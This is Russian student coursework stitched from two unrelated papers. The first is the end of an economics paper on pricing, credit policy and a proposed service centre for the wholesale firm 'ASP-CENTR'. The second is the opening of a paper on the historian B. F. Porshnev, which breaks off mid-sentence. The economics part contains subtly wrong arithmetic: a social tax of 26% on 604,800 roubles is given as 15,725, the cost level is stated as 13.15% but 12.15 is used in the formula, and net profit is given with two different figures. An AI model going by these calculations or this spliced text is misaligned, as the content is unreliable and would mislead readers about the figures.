3.2 Рекомендации по формированию ценовой и кредитной политики предприятия ООО «АСП – ЦЕНТР»

Выбор правильной ценовой политики является важным направлением увеличения выручки и прибыли, и способствует формированию финансовой устойчивости предприятия. Необходимо своевременно снижать цены на товары, устанавливать цены либо на уровне цен конкурентов, либо чуть ниже. В периоды уменьшения объёма продаж, снижение цен на товары может обеспечить увеличение оптового оборота и рост прибыли.

Основные предложения были разработаны в следующих направлениях:

– контроль над состоянием расчётов с покупателями;

– формирование широкого круга потребителей, что позволит уменьшить риск неуплаты одним или несколькими покупателями;

– формирование рациональной ценовой политики предприятия;

– контроль за соотношением дебиторской и кредиторской задолженности;

– изменение условий товарного кредита, предоставляемого потребителям;

Снижение цен можно проводить за счёт снижения оптовой надбавки на 5–7% в зависимости от товарной группы. Снижение целесообразно проводить во I и II квартале 2010 года, так как именно в эти периоды по предприятию ООО «АСП – ЦЕНТР» наблюдается снижение объёмов продаж. В курсовой работе предлагается провести снижение цен за счёт снижения оптовой надбавки в первом квартале 2010 года.

При анализе оборотного капитала по ООО «АСП-ЦЕНТР» было установлено, что доля его постоянно растёт: причинами роста являются увеличение объёмов продаж, расширение ассортимента, предоставление товарного кредита покупателям, рост цен и тарифов. Во второй главе выпускной квалификационной работы проведён анализ оборачиваемости материальных активов по предприятию и было установлено, что оборачиваемость в днях по организации за период с 2008 года по 2009 год увеличилась на 15,5 дня и составила 70,5 дня.

В условиях экономического кризиса банки испытывают определённые риски и трудности с выдачей кредитов предприятиям. ООО «АСП-ЦЕНР» ежегодно берёт краткосрочный кредит под закупку товаров. Кредит оформляют на год по ставке 18% годовых.

Предприятие развивается в условиях острой конкурентной борьбы, но обеспечивает при этом ежегодный прирост оптового оборота и прибыли. В связи с трудностями, возникающими с получением кредита собрание учредителей приняло решение часть нераспределённой прибыли предприятия направить на пополнение оборотных средств в сумме 1500 тыс. руб. Это позволит сократить потребность в краткосрочных займах и кредитах и снизить проценты, уплаченные по кредитам. В 2010 году при займе 1000 тыс. руб. в банке на год и ставке 18% годовых процент составит 180,0 тыс. руб. (1000*18/100).Таким образом, предприятие может сократить свои расходы и увеличить прибыль до налогообложения на 180,0 тыс. руб.

В условиях экономического кризиса считаю нецелесообразным предоставление товарного кредита предприятием ООО «АСП – ЦЕНТР» на прежних условиях. Товарный кредит предоставлялся для потребителей на 14 дней. Предлагаю снизить товарный кредит до 7 дней и оставить его только по крупным покупателям. По товарам пользующимся хорошим спросом реализацию производить только по предварительной 100% оплате за всю партию. По предварительным расчётам эти мероприятия обеспечат ускорение оборачиваемости на 3 дня. При этом из оборота высвободится средств на сумму 395,0 (47400/360∙3) тыс. руб.

При плановом уровне валового дохода на 2010 год 20,40%, и уровне издержек обращения 13,15%, дополнительная прибыль от ускорения оборачиваемости составит 28,7 (20,40 – 12,15) ∙ 395,0 /100% тыс. руб.

В условиях экономического кризиса и высокой конкуренции в этом сегменте рынка в курсовой работе предлагается ввести на предприятии «АСП – ЦЕНТР» дополнительный ассортимент услуг, призванных стимулировать объём продаж. Предлагается расширение деятельности предприятия за счёт открытия сервисного центра по техническому обслуживанию офисного оборудования. Объём продаж офисного оборудования в общем объёме выручки предприятия составляет более 60%., то есть в 2010 году будет реализовано товаров по этой группе на 28677 тыс. руб. На основании экспертных оценок около 9 процентов оборудования нуждается в техническом обслуживании, это составляет 2580,9 тыс. руб. Для открытия сервисного центра предприятие располагает собственным помещением.

К основным расходам предприятия по открытию центра в соответствии с главой 25 НК РФ следует отнести: заработную плату сотрудников, единый социальный налог, амортизацию оборудования и прочие расходы.

Для открытия центра необходимо провести ремонт в помещении сервисного центра и приобрести оборудование и инвентарь. Эти инвестиции можно профинансировать за счёт чистой прибыли предприятия. В таблице 25 представлен расчёт необходимых инвестиций.

Таблица 25 – Расчёт инвестиций по сервисному центру ООО «АСП – ЦЕНТР», тыс. руб.

Показатель

Сумма
Расходы на ремонт помещения сервисного центра

286,0
Приобретение оборудования

315,5
Приобретение инвентаря и мебели

367,7
Итого:

969,2

В 2009 году предприятием получено чистой прибыли в сумме 2569,2 тыс. руб. В соответствии с предложениями, внесёнными в параграфе 3.2 курсовой работы прибыль в сумме 1500 тыс. руб. предлагается направить на пополнение оборотных средств с целью уменьшения процентов, которые предприятие платит за кредит. Оставшаяся часть чистой прибыли может быть использована на расширение масштабов деятельности предприятия, что может значительно повысить эффективность функционирования организации.

Таким образом, оставшаяся прибыль позволит предприятию открыть сервисный центр. В центре будут работать 3 человека, месячная тарифная ставка в соответствии со штатным расписанием установлена в сумме 10500 руб. вместе с районным коэффициентом и дальневосточной надбавкой, расходы на оплату труда составят 604800 руб. (10500*1,6*3*12). Единый социальный налог за год 15725 руб. (604800*26% /100%). Амортизация оборудования центра при норме за год 12% составит 37,9 тыс. руб. (315,5* 12% / 100%).

Прочие расходы принимаем по экспертной оценке предприятий, занятых ремонтом и обслуживанием оборудования в размере 45% от зарплаты персонала. Таким образом, прочие расходы составят 272160 руб. (604800 * 45% / 100%). Все расчёты сводим в таблицу 26

Таблица 26 – Расчёт годовых затрат по сервисному центру «АСП – ЦЕНТР», руб.

Показатель

Сумма
Расходы на оплату труда

604800
Единый социальный налог

15725
Амортизация

37900
Прочие расходы

272160
Итого:

930585

Общая годовая выручка сервисного центра по предварительной экспертной оценке составит 1072,0 тыс. руб. Чтобы рассчитать прибыль предприятия вычтем из выручки годовые затраты, исчисленные в таблице. Прибыль предприятия составит 141,4 тыс. руб. (1072,0 – 930,6).

Общий экономический эффект от всех внесённых предложений в главе третьей обобщён в таблице 27.

Таблица 27 – Расчёт общего экономического эффекта на 2010 год, тыс. руб.

Показатель

Сумма
Прибыль от проведения рекламных акций

18,8
Прибыль от снижения оптовых надбавок

42,7
Прибыль от открытия сервисного центра

141,4
Прибыль от ускорения оборачиваемости товаров

28,7
Прибыль от снижения платы за пользование кредитом

180,0
Итого:

400,8

Наибольший экономический эффект получен от снижения платы за пользование банковским кредитом. Мероприятия, разработанные в курсовой работе позволят предприятию получить дополнительную прибыль в размере 400,8 тыс. руб., что очень важно в условиях экономического кризиса.

Разработанные рекомендации позволят предприятию ООО «АСП – ЦЕНТР» за счёт роста прибыли увеличить рентабельность в 2010 году на 0,85% (400,8/47400·100).

Заключение

В условиях рыночной экономики возрастает значение коммерческой деятельности с целью получения прибыли для удовлетворения материальных и социальных потребностей работников и производственного развития предприятия. Наиболее полно экономическая сущность прибыли торгового предприятия проявляется через выполняемые ею функции. Она выступает как: фактор повышения материальной заинтересованности работников, мера эффективности торгово-хозяйственной деятельности, источник формирования доходной части федеральных и местных бюджетов, источник удовлетворения социальных потребностей общества, защитный механизм, предохраняющий предприятие от банкротства.

Прибыль – это конечный финансовый результат деятельности предприятия. В соответствии с главой 25 НК РФ можно выделить следующие виды прибыли: прибыль от реализации, прибыль до налогообложения, прибыль налогооблагаемую, прибыль чистую. В рыночной экономике результаты деятельности оцениваются системой этих показателей, а также показателями рентабельности.

В курсовой работе выявлены внешние и внутренние факторы, влияющие на прибыль. Курсовая работа выполнена по предприятию ООО «АСП – ЦЕНТР». Предприятие осуществляет оптовую торговлю офисным оборудованием и комплектующими материалами.

Одним из важнейших условий успешного управления предприятием является анализ его основных экономических показателей. Выручка от реализации в 2009 году составила 44500 тыс. руб., что на 10,7%, больше, чем в 2008 году, прирост в сумме составил 4300 тыс. руб. Однако, темпы роста выручки ниже, чем в 2008 по сравнению с 2007 г. Предприятие рационально использует свои трудовые ресурсы: темп роста выработки опережает темп роста средней заработной платы на 0,6%. Предприятие является прибыльным, рентабельность в 2009 году составила 7,05%, сумма прибыли до налогообложения – 3135,8,0 тыс. руб. это на 395,0 тыс. руб. больше чем в 2008 году.

При оценке экономических показателей выделены сильные стороны деятельности предприятия: предприятие в условиях экономического кризиса обеспечило увеличение объёма продаж и получение прибыли; рентабельность по прибыли до налогообложения предприятия составляет 7,05%.

К слабым сторонам деятельности предприятия следует отнести превышение темпа роста затрат по реализации, то есть, издержек обращения за на 20,8% по сравнению с ростом выручки на 10,7%. Это привело к нарушению механизма управления прибылью от продажи товаров, и к снижению темпов роста прибыли от продаж в 2009 году на 1,9%.

На предприятии высокими темпами растут прочие расходы, темп их роста в 2009 году составил 35,3% по сравнению с 2008 годом, а в 2008 году 24,4% по сравнению с 2007 годом. Такой рост расходов связан с выплатой процентов за кредит в связи с нехваткой собственных оборотных средств.

В выпускной квалификационной работе изучено влияние факторов на прибыль: рост прибыли произошёл за счет роста оборота, увеличения размера оптовых надбавок, доходов прочих; на снижение прибыли оказали влияние увеличение издержек обращения, увеличение расходов прочих.

Чистая прибыль предприятия составила 2383,2 тыс. руб. Наибольшая часть чистой прибыли, направляется на развитие предприятия.

Валюта баланса в 2009 г. возросла по сравнению с 2008 г. на 3676 тыс. руб. или на 140,0%, что в целом характеризует наращивание экономического потенциала предприятия, однако, велика доля заемных средств в 2008 г., она составила 53,3%, что на 14,5% больше, чем в 2007 г. В 2009 г. кредиторская задолженность увеличилась на 1135 тыс. руб. по сравнению с 2007 г. за этот же период займы и кредиты возросли на 2116 тыс. руб. Положительным нужно признать рост нераспределенной прибыли на 309 тыс. руб. снижение задолженности перед внебюджетными фондами.

В курсовой работе для планирования прибыли использован метод прямого счёта. Этот метод является достаточно простым и надежным, согласно этому методу разработке плана прибыли должны предшествовать расчёты выручки, валового дохода и издержек обращения. Плановая сумма товарооборота исчислена методом аналитического выравнивания (трендовый метод).

Годовая выручка рассчитана на основе обработки динамического ряда, планируемый объём оборота на 2010 г. составит 47400 тыс. руб. Плановая сумма валового дохода составит 9669,6 тыс. руб.

В третьей главе разработаны предложения по стимулированию планового объёма выручки, как основного фактора роста прибыли, определена экономическая эффективность от ускорения оборачиваемости товаров, от проведения рекламных акций, сделаны предложения по формированию ценовой и кредитной политики, внесены предложения по оптимизации ассортимента продаж и от снижения оптовых надбавок. Общий экономический эффект полученный от разработанных рекомендаций составит 400,8 тыс. руб., предложенные мероприятия позволят обеспечить реализацию плана прибыли и повысить рентабельность предприятии на 0,85% на 2010 год.

Курсовая работа: Борис Федорович Поршнев

Содержание

Введение …………………………………………………………………………. 3

Глава 1. Исторические взгляды Б. Ф. Поршнева ……………………………… 6

Глава 2. Наука о человечестве Б. Ф. Поршнева ……………………………… 16

Глава 3. Общество, культура, религия в исторических построениях Б. Ф. Поршнева ……………………………………………………………………….. 21

Заключение ……………………………………………………………………… 25

Список источников и литературы …………………………………………….. 26

Примечания …………………………………………………………………….. 28

Приложение …………………………………………………………………….. 31

Введение

Имя профессора Бориса Федоровича Поршнева хорошо известно ученому миру и в нашей стране, и за рубежом. Историк и философ, антрополог и экономист, психолог и физиолог – круг его интересов поистине необозрим.

Универсализм Поршнева совершенно беспрецедентен для науки XX века по своим масштабам. Век специализаций, дробления, появления и выделения новых наук не может привести много имен энциклопедических знаний и всеобъемлющих интересов. Поэтому нам кажется интересным обратиться к фигуре Б. Ф. Поршнева, который с высоты (и ширины) своих разнообразных знаний делал мог делать обобщающие выводы о развитии человечества.

Углубление ученого в узкую отрасль, несомненно, позволяет ему добиться высочайших результатов в своем поле деятельности. Однако замечено, что многие открытия делаются на стыке наук. Кроме того, обобщения глобального масштаба требуют широты сфер деятельности. Поэтому «распыление» ученого по различным сферам знания имеет свои преимущества.

Обобщения знатока ряда дисциплин могут привести к великим открытиям – а могут остаться непонятыми современниками. Так случилось, к примеру, с Л. Н. Гумилевым. Точно в такой же ситуации, пожалуй, оказался и Б. Ф. Поршнев, с той лишь разницей, что наследие Л. Н. Гумилева признано и у него нашлось немало продолжателей дела, а вот многие выводы Б. Ф. Поршнева до сих пор остаются лишь достоянием «истории науки». (Кстати, как будет показано ниже, Б. Ф. Поршнев совершенно на основании иных данных, чем Л. Н. Гумилев, используя иные методы, приходит порой к тем же выводам – например, в отношении распространения двух потоков агрессии – крестоносцев и татаро-монгол – в XIII веке и, в связи с этим, историческом выборе Руси).

Нам кажется интересным и важным более подробно остановиться на научной деятельности этого незаурядного человека, тем более что постепенно многое из того, над чем он работал, признается наукой. Уже никого не удивит такая дисциплина, как историческая психология, оформляется как отдельная наука т. н. человековедение – наука, комплексно изучающая человека со всех точек зрения – от антропологической до философской и социальной.

Цель данной работы – проанализировать взгляды Б. Ф. Поршнева, определить его вклад в историческую науку.

Задачи таковы:

1) изучить и проанализировать основные сочинения Б. Ф. Поршнева;

2) определить новаторские выводы ученого.

В работе мы опирались на сочинения Б. Ф. Поршнева. Конечно, все их охватить не было возможности, ведь перу ученого принадлежит более 200 научных работ. Прежде всего надо назвать такие монографии, как «Народные восстания во Франции перед Фрондой (1623—1648)»1 (вышедшая в 1948 г., она была удостоена Государственной премии в 1950 г.), «Очерк политической экономии феодализма» (1956),2 «Феодализм и народные массы» (1964),3 «Социальная психология и история» (1966),4 «Франция, Английская революция и европейская политика в середине XVII в.» (1970)5 и многие другие. Полный список использованной в данном реферате трудов Б. Ф. Поршнева приводится в конце работы.

Кроме того, большое значение имеют те немногочисленные статьи, которые были написаны о Б. Ф. Поршневе, в частности, предисловие Н. Момджян и С. А. Токарева в книге Б. Ф. Поршнева «О начале человеческой истории. Проблемы палеопсихологии»6 и статья О. Т. Вите «Б. Ф. Поршнев: опыт создания синтетической науки об общественном человеке и человеческом обществе» в журнале «Полития».7

В статье Н. Момджян и С. А. Токарева высоко оценивается общий вклад Б. Ф. Поршнева в науку, прежде всего историческую, однако его обобщающие выводы о развитии человечества, философо-антропологические и историко-психологические наблюдения осторожно характеризуют как, несомненно, весьма спорные, но интересные: «В интересной и весьма ценной работе Б. Ф. Поршнева имеется немало спорных положений. Читатель с самого начала должен быть готов к критическому восприятию оригинального исследования. Как это нередко бывает в научном творчестве, автор, увлекшись новой и очень важной гипотезой, проявляет порой склонность к чрезмерной абсолютизации той или иной идеи, к превращению ее в исходную, решающую в понимании рассматриваемого круга вопросов… Делая такое предупреждение, мы твердо уверены в том, что все сказанное Б. Ф. Поршневым, несомненно, принесет пользу науке, заставив ученых пересмотреть, перепроверить, а может быть, вооружившись новыми данными, опровергнуть выдвигаемые им гипотезы».8

Зато О. Т. Вите более подробно рассматривает вклад Б. Ф. Поршнева в развитие науки именно в «спорных» работах, высоко оценивая передовые наблюдения ученого.

Глава 1. Исторические взгляды Б. Ф. Поршнева

Б. Ф. Поршнев (1905 – 1972) родился в Ленинграде, окончил факультет общественных наук МГУ и аспирантуру Института истории PАНИОН. В 1940 г. он защитил докторскую диссертацию по истории, а в 1966 г. – докторскую диссертацию по философии. С 1943 г. Б. Ф. Поршнев работал в Институте истории АН СССР (с 1968 г. – Институт всеобщей истории) старшим научным сотрудником, заведующим сектором новой истории, а затем сектором истории развития общественной мысли. Наряду с научной деятельностью Б. Ф. Поршнев вел большую педагогическую и научно-редакционную работу.

Обширные исследования Б. Ф. Поршнева в области истории сочетались с разработкой проблем антропологии, философии и социальной психологии и были направлены на разработку комплексного подхода к изучению человека в общественно-историческом процессе. Работы Б. Ф. Поршнева были переведены на многие иностранные языки. Он имел звание почетного доктора Клермон-Ферранского университета.

Выше уже говорилось, что исследования Бориса Поршнева затрагивали едва ли не все направления общественных наук, а также некоторые смежные направления наук естественных. Исследования во всех этих областях рассматривались Поршневым в качестве тесно связанных друг с другом аспектов становления единой синтетической науки – «об общественном человеке или человеческом обществе». Универсализм Поршнева совершенно беспрецедентен для науки XX в. по своим масштабам и одновременно предполагает опору на самые точные эмпирические факты в соответствии с самыми строгими научными критериями, сформированными в этом веке.

В одну из статей, посвященных так называемому «снежному человеку», Поршнев включил краткий автобиографический очерк. В нем он пишет, что с молодости стремился получить образование во многих различных областях знаний. Многостороннее образование помогало, пишет Поршнев, работая в отдельных областях науки «видеть то, что не надлежит видеть», что другие не замечали.

По своим убеждениям Б. Ф. Поршнев являлся марксистом, причем, по мнению О. Т. Вите – ортодоксальным, сознательным, последовательным и убежденным, но при этом антидогматическим марксистом.9 Он брал на себя смелость самостоятельно, не дожидаясь санкции Политбюро, решать, что является марксизмом, не отказывался от своих взглядов под влиянием политической конъюнктуры или смены научных пристрастий новых идеологических начальников, по отношению к которым он допускал разве что стилистические уступки. Поэтому он так и не смог сделать научную карьеру, адекватную масштабам своей творческой личности, так и не увидел опубликованным главный труд жизни: подготовленный в 1968 г. набор книги «О начале человеческой истории» был рассыпан.

Вместе с тем, марксизм не был в его исследованиях шелухой, которую теперь, после крушения власти КПСС, можно легко отбросить. Марксизм присутствует в его исследованиях как ключевая научная парадигма, как фундамент, как универсальная методология. Вне марксизма, по мнению О. Т. Вите, научное наследие Поршнева рассыпается, т. е. с его точки зрения теряет самое ценное – общую связь, целостность.10

История – одна из немногих наук, где Поршнев пользуется безусловным авторитетом и уважением большинства специалистов, даже несогласных с ним по многим конкретным вопросам.

Важным вкладом Б. Ф. Поршнева в историческую науку является обоснование им единства исторического процесса одновременно в синхроническом и диахроническом плане.

Синхроническое единство он доказал на целом ряде специальных исследований, обнаруживавших связь событий, происходивших в одно время в различных странах, которые, как многим историкам казалось, даже не слишком подозревали о существовании друг друга. Единство истории в диахроническом плане тогда было отстаивать существенно проще, чем сегодня (марксизм, формационная теория). Однако одно дело абстрактно провозглашать верность формационному подходу, обеспечивающему единство поступательного развития человечества, другое – продемонстрировать конкретные механизмы такого единства.

Поршнев исследовал две связанные проблемы (или трудности). Во-первых, роль классовой борьбы и социальных революций, как механизмов поступательного развития человечества. Во-вторых, особенности тех синхронических связей, которые позволяют говорить о переходе именно человечества, а не изолированных стран.

Наиболее обстоятельно Поршнев изложил эволюцию связей, объединявших человечество в единое целое, в докладе «Мыслима ли история одной страны?».11 (Сегодня трудно представить себе смелость заявленной темы, однако стоит лишь вспомнить о фоне, на котором она была высказана – фундаментального идеологического постулата о построения социализма «в одной, отдельно взятой стране»).

В этом докладе Поршнев выделяет «три вида связей между человеческими общностями»: «Первый вид состоит преимущественно во взаимном обособлении от соседей. История, начиная с первобытности, была всемирной преимущественно в этом, негативном смысле: культура и быт любого племени развивались путем противопоставления своего чужому. Каждая популяция не только при возможности отселялась от соседей, но главным образом ввиду невозможности отселиться обособлялась всем – начиная от говора и утвари. Каждая знала, конечно, лишь своих ближайших соседей, но культурно-этнические контрасты с соседями создавали всеобщую сеть, ибо ни одна из них, конечно, не жила в изоляции… Второй вид всемирно-исторической связи развивается как своего рода антитеза предыдущему. Во всем этом многообразии локальных культур можно ли найти общий знаменатель? Да, таковым оказывается война. Качественные различия войной переводятся на количественный язык: кто кого, кто сильнее… Войны или политическое равновесие между государствами становятся надолго важным выражением мировой истории… Однако задолго до нового времени возникает и тенденция третьего вида: добраться до любых отдаленнейших точек мировой системы, разузнать, завязать с ними прямые отношения… Начиная с эпохи великих географических открытий международная торговля (она же международный грабеж) начинает интенсивно конструировать этот третий вид взаимосвязи мировой истории. Первые два сохраняются и развиваются дальше, но третий вид как бы отрицает их: это связь не цепная, а постепенно возникающая связь всех стран со всеми. Торговля влечет за собой рост всех видов коммуникации и информации, обмен товарами порождает тот или иной обмен людьми. В этом смысле – прямой всеобщей связи – история становится всемирной только с эпохи капитализма».12

Остановимся на результатах синхронических исследований Б. Ф. Поршнева, связанных с тремя хронологическими точками: XVII в. (Тридцатилетняя война), XIII в. (Ледовое побоище) и эпоха расцвета рабовладельческого строя.

Тридцатилетняя война исследовалась Поршневым на протяжении многих лет. Результаты этой работы отражены во множестве публикаций, в том числе в фундаментальной трилогии, из которой только третий том вышел при его жизни, а второй – не вышел вовсе.13

Эта фундаментальная трилогия была для Поршнева опытом исторического исследования специально выбранного «синхронического среза», толщиной в несколько десятков лет и охватывающего – в идеале – все пространство человеческой эйкумены.

Стержнем исследований событий Тридцатилетней войны был тщательный и скрупулезный анализ синхронического взаимодействия различных стран, связь их внешней и внутренней политики, причем не только стран Европы, но отчасти и Азии. Среди прочего, Поршневым были предложены и специальные инструменты – графические схемы, демонстрирующие структуру «геополитических» межстрановых связей и динамику этой структуры.14

Именно анализ синхронических связей позволил Поршневу «увидеть» (и доказать), что знаменитый «блиц-криг» Густава-Адольфав значительной мере финансировался Московским государством, тогда как прежде многие считали, что в Московии даже не подозревали о войне, идущей в Европе. Финансирование осуществлялось по простой и хорошо знакомой многим сегодняшним российским предпринимателям схеме, которую на современном экономическом жаргоне следовало бы назвать «эксклюзивной либерализацией внешней торговли»: шведы получили право закупать в Московском государстве зерно по внутренним ценам, вывозить его затем через Архангельск для продажи на Амстердамской бирже уже по европейским ценам.15

В результате к 1631 г. Густаву-Адольфу удалось развернуть крупные военные силы в Германии и уже осенью этого года осуществить стремительный бросок в глубь ее территории. Дальше однако все застопорилось и в конечном счете успех Густава-Адольфа был сведен на нет. Одним из важнейших факторов такого исхода (хотя и не единственным) послужила последовательность обусловливающих друг друга событий, ради обнаружения которых (этих последовательностей) Поршнев, собственно, и предлагал заняться исследованиями «синхронических срезов»: под давлением нарастающего 2социального недовольства» Московское государство сокращает субсидии Швеции (эмиссионное финансирование государственных расходов тогда не практиковалось), а также прекращает войну с Польшей. В результате у Густава-Адольфа одновременно сокращаются ресурсы и появляется серьезный противник, освободившийся от «восточных» проблем.

На примере событий, кульминацией которых стало Ледовое побоище, Поршнев показал не только синхроническую связь происходящего в это время на всем евразийском пространстве, но и значение тех событий для диахронически единого исторического пути вовлеченных в эту синхроничекую связь стран и народов: «Империя Чингизидов, давившая на Русь с востока, из Азии, и империя Гогенштауфенов, грозившая ей с запада, из Европы, – …обе эти завоевательные империи, возникшие почти одновременно… были не чем иным, как рецидивами варварских государств в XIII веке. Не случайно основатель одной из этих империй, Чингисхан, объявил себя наследником императоров древнего рабовладельческого Китая, а основатель другой, Фридрих Барбаросса, воображал себя прямым преемником императоров рабовладельческого Рима. Обе империи были не чем иным, как попытками свернуть со столбовой дороги истории, отказаться от трудностей феодальной перестройки общества и, повернувшись лицом к невозвратному прошлому, опереться на обломки древних рабовладельческих порядков, на неразмытые остатки прошлого, тормозившие феодальный прогресс».16

Поршнев подробно анализирует «поразительное сходство исторических судеб этих двух реакционных империй», двух «исторических близнецов», которым удались «огромные завоевания»: «В конце 30-х – начале 40-х годов XIII века Русь оказалась зажатой с запада и с востока между двумя завоевательными империями, с гигантской силой распространявшимися навстречу друг другу». Проанализировав многочисленные прямые и косвенные свидетельства позиций «“двух хищников» по отношению друг к другу, Поршнев приходит к выводу: «Если б Русь оказалась раздавленной и границы двух империй сошлись бы на ее опустошенной территории… можно уверенно предположить, что оба хищника не вступили бы в борьбу друг с другом, – по крайней мере, сразу, – а, взаимно прощупав силы, полюбовно поделили бы мир между собой».

Поскольку Русь не могла дать одновременный отпор обеим империям, «Александр Невский сделал выбор: нанести удар по западному агрессору и пойти на компромисс с восточным». И такой выбор, по мысли Поршнева, имел глубочайшие «диахронические» последствия для всего человечества. Хотя Тевтонский орден и сохранился после Ледового побоища, его значение как «железного кулака», с которым приходилось считаться всем европейским странам, резко упало. Не прошло и 20 лет, как «гигантская завоевательная держава Гогенштауфенов перестала существовать». Рецидив разрушительной и агрессивной варварской государственности перестал тормозить развитие Европы по пути «феодального прогресса».17

Напротив, в Азии ликвидация подобного рецидива была растянута еще на два века: «Русь принуждена была не только допустить сохранение необъятной и мертвящей монгольской империи, но и сама стать, хотя бы в известной мере, ее составной частью. Только такой ценой могло быть куплено в том момент движение вперед остальной части человечества».18 Итак, делает вывод Б., Ф. Поршнев, «до XIII века всеобщая история не может “констатировать безусловной отсталости общественного строя Востока по сравнению с Западом или вообще кардинального несходства исторических судеб Востока и Запада. Только с XIII века это явление выступает на исторической сцене. Европа быстро идет вперед. Азия погружается в застой. Нельзя не объяснить этого разной судьбой двух реакционных империй, до того развивавшихся с такой удивительной симметрией. Выбор, сделанный Александром Невским, хотя сам детерминированный, в огромной степени в свою очередь детерминировал расхождение путей Запада и Востока».19 Таким образом в знаменитую фразу «Русь спасла Европу от монголов» необходимо внести, с точки зрения Поршнева, важное уточнение: прежде всего, от собственных, европейских «монголов».

Поршнев также предложил решительно пересмотреть содержание понятия «рабовладельческое общество».20 Он показал, что рабовладельческое общество как внутренне связанный социальный организм, как единое развивающееся целое не может быть сведено к рабовладельческому государству. Слишком много связей и противоречий, которые безусловно являются сугубо внутренними для системы классической рабовладельческой экономики, не могут быть обнаружены внутри границ государства.

Ссылаясь на работы советского историка А. Мальчевского, Поршнев пишет: «Процесс воспроизводства в античном рабовладельческом обществе оказывается невозможным без регулярных и грандиозных по своим масштабам захватов «извне», причем захватов не только продуктов труда других народов, но прежде всего части самих этих народов, становящихся внутри рабовладельческого государства основной производительной силой, основным производящим классом». Этими особенностями рабовладельческая система отличается от феодальной и наиболее ярко – от буржуазной: в последних «основной производящий класс» вполне «уживается» внутри государственных границ. Поршнев подчеркивает, что описанная им специфика рабовладельческого общества может быть обнаружена по всему миру: «Великие рабовладельческие державы древнего Ирана, древней Индии, древнего Китая, эллинических государств Азии были окружены такими же океанами бьющихся об их берега варварских народов, то оборонявшихся, то нападавших, выражавших не в меньшей мере, чем на Западе нечто отнюдь не «внешнее», а внутренний антагонизм древнего мира как поляризованного целого. Чем глубже становилась эта поляризация, чем отчетливее она материализовалась в форме всяческих «китайских стен» и «римских валов», тем неизбежнее приближался час прорыва».21

Тем самым, приближался час «феодального синтеза», того революционного процесса диффузии двух половин или полюсов рабовладельческого целого, из которого вырастет уже феодальное общество.

По мнению О. Т. Вите, Поршнев не мог не понимать, что излагаемая концепция эволюции рабовладельческой формации и ее революционной трансформации в феодальную, автоматически ставит под сомнение один из официальных предметов «советской гордости»: отечественная история не знала рабства. Ведь характер связи Киевской Руси с Восточно-римской империей, с Византией, очевидно, укладывается в общую логику: Русь действительно не была рабовладельческим государством, поскольку была источником пополнения рабов для такого государства в рамках единого социального организма.

Поэтому Поршнев ограничился предельно осторожным рассуждением на эту тему: «Но ведь отнюдь не лишено объективных оснований и отнюдь не обидно ни для западноевропейских стран, ни для России, что Киевская Русь стоит к Восточно-Римской империи примерно в таком же историческом отношении, как Франкское государство – к Западной Римской империи».22

Существенен вклад Б. Ф. Поршнева в экономику, точнее сказать, историческую экономику. Б. Ф. Поршнев написал одно из первых исследований по политической экономии феодализма.23 Она и до сих пор остается чуть ли не единственным полномасштабным теоретическим исследованием экономического базиса феодального общества, написанным с марксистских позиций.

Значительно менее известными представляются результаты экономических исследований Поршнева по двум конкретным экономическим темам, тесно связанным друг с другом: собственность и принуждение к труду. Исследования по этим темам не изложены систематически в специальных работах, они разбросаны по целому ряду статей и книг, написанных в разное время.

Феномен собственности анализируется Поршневым с тех же позиций, что и все остальные проблемы, связанные с «общественным человеком и человеческим обществом». Поршнева интересует, как возникло «отношение» собственности в период выделения человека из животного мира в условиях дивергенции, как возникновение этого феномена связано с теми необычными нейрофизиологическими механизмами межиндивидуального взаимодействия, появление которые сопровождало «выталкивание» неоантропа в социальные отношения.

Поршнев специально исследовал становление отношений собственности при феодализме и в первобытном обществе. Например, он следующим образом анализировал становление личной крестьянской собственности в условиях феодализма: «Лично-трудовая собственность крестьянина – это не столько предпосылка, сколько продукт постепенного развития феодального общества. В самом деле, ведь трудовое имущество – это еще не собственность, пока его никто не стремится систематически отнимать. Единовременная попытка отнять имущество, например попытка военного грабежа, порождает оборону, однако такое спорадическое сбережение вещей от гибели еще вовсе не есть становление собственности. Окончательно крестьянская единоличная собственность достигла зрелости только с появлением возможности отчуждать ее за эквивалент, т.е. с появлением городов… Тут она окончательно перестала быть только обороной имущества и стала его присвоением, перестала быть только собственностью в смысле отказа отдавать и стала собственностью в смысле стремления приобретать».24

Принуждение к избыточному труду – абсолютно необходимый элемент всей человеческой истории. Речь идет именно о формах внешнего принуждения, из которых известно три: прямое принуждение – рабство, смешанное – феодализм, и косвенное – капитализм. Из этих трех форм Поршнев занимался, главным образом, второй. Проблема состояла в том, что в условиях феодализма одного косвенного принуждения к труду оказывается недостаточно и оно дополняется прямым – так называемая неполная собственность на работника.

Глава 2. Наука о человечестве Б. Ф. Поршнева

Сам Поршнев считал предметом своей основной специальности проблематику антропогенеза. В предисловии к главному труду Б. Ф. Поршнева, подводящего итог его исследования в области антропогенеза и намечающим программу дальнейших исследований – «О начале человеческой истории (Проблемы палеопсихологии)»,25 Н. Момджян и С. А. Токарев пишут: «Какая же из всех этих разнообразных областей знания стояла в фокусе научных интересов Б. Ф. Поршнева? Как бы ни смотрели на это другие, сам автор считал, что именно содержание этой, предлагаемой вниманию читателей книги выражает наиболее глубокий, наиболее важный для него самого слой научного мышления — основу его философского мировоззрения. Эту область можно сокращенно назвать (и автор ее так и называет) «проблемы палеопсихологии».26

Б. Ф. Поршнев отчетливо понимал двусмысленную роль специальных наук в изучении проблем антропогенеза. Палеоантропологи, палеонтологи и палеоархеологи – едва ли основные «легитимные» исследователи происхождения человека – были крайне поверхностно знакомы с серьезными научными результатами, полученными в зоологии, психологии, нейрофизиологии, социологии. Для того, чтобы прорвать этот замкнутый круг, Поршнев решительно взялся за восполнение названных выше пробелов.

По мнению Поршнева, два ложных постулата мешали серьезному научному прорыву в исследовании антропогенеза.27

Во-первых, убежденность в том, будто археологические остатки жизнедеятельности ископаемых гоминид доказывают наличие у них абстрактно-логического (понятийного), творческого мышления, а значит и признание людьми не только неоантропов, но также палеоантропов (неандертальцев) и даже еще более древних видов. У этого постулата два главных корня – миф об охоте на крупных животных как основном занятии человеческого предка и миф об изобретении им огня.

Во-вторых, убежденность в том, что эволюционная форма, предшествовавшая Homo sapiens’y, вымерла, исчезла с лица Земли тотчас после появления этого последнего.

Кратко изложить содержание этой книги практически невозможно – настолько разнообразны и сложны поднимаемые автором проблемы. Они и сложны, и спорны. Но если все-таки попытаться выделить в содержании книги ее лейтмотивы, их можно свести к следующим.

